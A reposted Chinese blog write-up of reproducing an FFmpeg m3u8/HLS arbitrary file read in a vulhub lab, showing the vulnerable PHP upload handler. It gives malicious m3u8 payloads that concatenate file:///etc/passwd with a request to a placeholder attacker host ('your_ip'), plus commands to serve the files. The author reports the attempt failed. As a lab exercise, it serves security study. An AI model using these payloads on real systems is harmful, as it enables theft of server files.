漏洞描述

影响范围

漏洞环境利用

搭建docker环境

访问8080端口看到上传界面

由于vulhub没有讲述该漏洞如何复现我们需要进入环境查看源码

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES[‘file‘][‘tmp_name‘]);
    $newname = ‘./’ . uniqid() . ‘.mp4′;
    shell_exec(“ffmpeg -i $filename $newname“);
}
?&gt;

可以看到就是调用ffmpeg这个工具处理文件
这是一个恶意请求m3u8文件

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 http://your_ip:9999/test.txt
 #EXT-X-ENDLIST
 

文件格式如下:  

#EXTM3U 标签m3u8 的文件头,开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示一个media URI 在 PlayList中只有唯一序号相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件长度
#EXT-X-ENDLIST 这个相当于文件结束

这些是 m3u8 的最基本标签,而问题就出在 FFMpeg请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址直接请求。所以我们可以试想,用FFMpeg自带concat函数,将一个包含文件结束符的文件与file协议读取的文件衔接起来,请求攻击机,就能够达到读取任意文件的效果

漏洞复现
首先,我们需要web 服务器创建一个 back.txt,文件内容m3u8 的格式,其中不包含文件结束符。
其次,我们创建一个恶意m3u8 文件,文件内容通过 concat 拼接本地文件/etc/passwd
最后,我们上传这个恶意m3u8 文件。
back.txt

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://your_ip:9999/?

upload.m3u8:

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://your_ip/back.txt|file:///etc/passwd
#EXT-X-ENDLIST

Tip: 以上的文件需要使用记事本编辑保存选择默认 utf-8 格式使用vim编译可能会导致复现失败

使用python搭建一个简易web,将back.txt部署web上。

python2 –m SimpleHTTPServer 8888

python3 -m http.server 8888

上传恶意m3u8文件,并监听9999端口
复现失败

 

原文地址:https://blog.csdn.net/weixin_56537388/article/details/134681621

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_41082.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注